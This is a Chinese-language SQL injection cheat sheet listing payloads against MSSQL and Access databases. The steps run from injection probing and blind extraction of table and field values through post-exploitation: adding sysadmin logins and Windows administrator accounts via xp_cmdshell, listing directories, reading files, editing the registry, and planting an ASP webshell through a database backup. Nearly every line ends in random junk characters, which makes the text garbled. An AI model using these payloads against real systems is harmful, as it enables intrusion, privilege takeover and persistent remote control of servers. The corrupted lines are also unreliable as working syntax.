1.判断是否有注入;and 1=1 ;and 1=2 ^IiA(?8
2.初步判断是否是mssql ;and user>0 h{mzYy}b
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3.注入参数是字符'and [查询条件] and ''=' h's[)
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' &G%AQpDW5
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5.判断数据库系统 zk$h71<{.
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;and (select count(*) from sysobjects)>0 mssql 9'p| [?]v
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;and (select count(*) from msysobjects)>0 access 8i"CU:(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 g s1
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 umPnw
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ;0_T\{H"nR
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9.(1)猜字段的ascii值(access) fX9b1x
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 w:B&8I(n}w
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(2)猜字段的ascii值(mssql) X ([^i;mr
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 MV<)qa T
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10.测试权限结构(mssql) 5Qg*j/z?
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- "c~``i\G
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- D3 +|Os)
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- jY9tq[~/
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3|e~YmZx
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- tvJl-&'N
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #@Tm5z
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;and 1=(select IS_MEMBER('db_owner'));-- (q7;/n
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11.添加mssql和系统的帐户 HU
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;exec master.dbo.sp_addlogin username;-- r+]a
;exec master.dbo.sp_password null,username,password;-- S-6i5H"B&
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ENYc.$r
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;exec master.dbo.xp_cmdshell 'net user username password 6(Cjak+~!
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >hnhV6ss
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ) \cnz
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- k3
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12.(1)遍历目录 w@N)Pu
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;create table dirs(paths varchar(100), id int) )A;jBfr
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Q!fk|D+j
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;and (select top 1 paths from dirs)>0 k"`^vV[{F
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) n*=Tm
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(2)遍历目录 SkXx:@
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^\PNjj*C i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 aOW~! f/M
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 (5^SL Y
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 |SsmVW$B|
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 wMiRN2\^
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13.mssql中的存储过程 3DrW[\
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xp_regenumvalues 注册表根键, 子键 x8h=3e$
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 =hKu85
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xp_regread 根键,子键,键值名 cA
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;exec xp_regread (<5&<JC{
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 o,y{fv:ki
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xp_regwrite 根键,子键, 值名, 值类型, 值 6?jSe<4x
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ZGWZ2>k
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 h|&qWv
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xp_regdeletevalue 根键,子键,值名 N%+ C5e<
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X6c ['Zrc
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 umj5M5oe3
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14.mssql的backup创建webshell lilF _y
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use model FiJU
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create table cmd(str image); Z vO,1B
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insert into cmd(str) values (''); '@+a]kCMev
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backup database model to disk='c:\l.asp'; -nrfu) G
at `\7YfQp
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15.mssql内置函数 cH%#qE3
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;and (select @@version)>0 获得Windows的版本号 Fs EPM"&?h
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa (t)a u
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;and (select user_name())>0 爆当前系统的连接用户 @z)_m!yV1
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;and (select db_name())>0 得到当前连接的数据库 y7CrH=^jc
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16.简洁的webshell 6+[7UH~pm^
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use model ~?)ST?&
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create table cmd(str image); %A<|@OSdOa
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insert into cmd(str) values (''); 7Q9zEd"d
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backup database model to disk='g:\wwwtest\l.asp';